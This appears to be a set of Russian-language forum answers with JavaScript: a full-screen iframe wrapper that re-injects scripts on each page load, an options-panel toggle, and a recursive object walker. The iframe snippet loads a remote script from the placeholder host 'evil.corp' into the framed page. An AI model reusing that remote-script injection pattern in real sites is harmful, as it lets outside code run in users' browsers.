Vlad

Ну, как вариант(точнее костыль) можно создать iframe на весь экран, убрать границы и следить за фреймом. При загрузке новой страницы добавлять свой скрипт/код и менять адрес на панели(если нужно).

Но он будет постоянно применять изменения заново, а не сохранять.

Как то так:

var ifrm = document.createElement("iframe"); // Создаём фрейм
ifrm.setAttribute("src", window.location.href);

ifrm.style.width = "100vw"; //Растягиваем на весь экран
ifrm.style.height = "100vh";
ifrm.setAttribute('frameborder', 0); // Убираем "бордюр"

document.body.innerHTML = "";
document.body.appendChild(ifrm);

ifrm.onload = function() { // Следим за перезагрузкой страницы

    // Меняем заголовок и историю (если нужно)
    var ttl = ifrm.contentDocument.querySelector('head title').innerText;
    document.title = ttl;
    var pth = ifrm.contentWindow.location.href;
    window.history.replaceState({}, ttl, pth);

    // Первый вариант (Подгружать скрипт по ссылке)
    var script1 = document.createElement("script");
    script1.src = "https://evil.corp/code.js";
    script1.type = "text/javascript";
    ifrm.contentWindow.document.getElementsByTagName("body")[0].appendChild(script1);

    // Второй вариант (Вставка тега с кодом)
    var script2 = document.createElement('script');
    var inlineCode = document.createTextNode("alert('вместо алерта код')");
    script2.appendChild(inlineCode);
    ifrm.contentWindow.document.getElementsByTagName("body")[0].appendChild(script2);
};

В вашем случае, как мне кажется, стоит переделать вот так

<div class="container-activatedOptions">
    <form class="form-activatedOptions">
        <button id="optionsToggle">Открыть настройки</button>
    </form>
    <div id="options">
        Тут опции...
    </div>
</div>

disabledOptions(); // Изначальное состояние

function activatedOptions(){
    options.style.display = 'block';
    optionsToggle.innerHTML = 'Закрыть настройки';
    optionsToggle.onclick = disabledOptions;
    return false;
}

function disabledOptions(){
    options.style.display = 'none';
    optionsToggle.innerHTML = 'Открыть настройки';
    optionsToggle.onclick = activatedOptions;
    return false;
}

Простая рекурсия, минимум кода:

const box = {
    name: 'space',
    type: 'hold',
    color: 'red',
    container: {
        minibox: 'plate',
        minibox2: 'dish',
        container2: {
            thing: 'jacket',
            thing2: 'socks'
        }
    }
};

function walkinobj(box) {
    for (let key in box) {
        if (typeof(box[key]) === 'object') {
            walkinobj(box[key]);
        } else {
            console.log(`Свойство ${key} имеет значение ${box[key]}`);
        }
    }
}

walkinobj(box);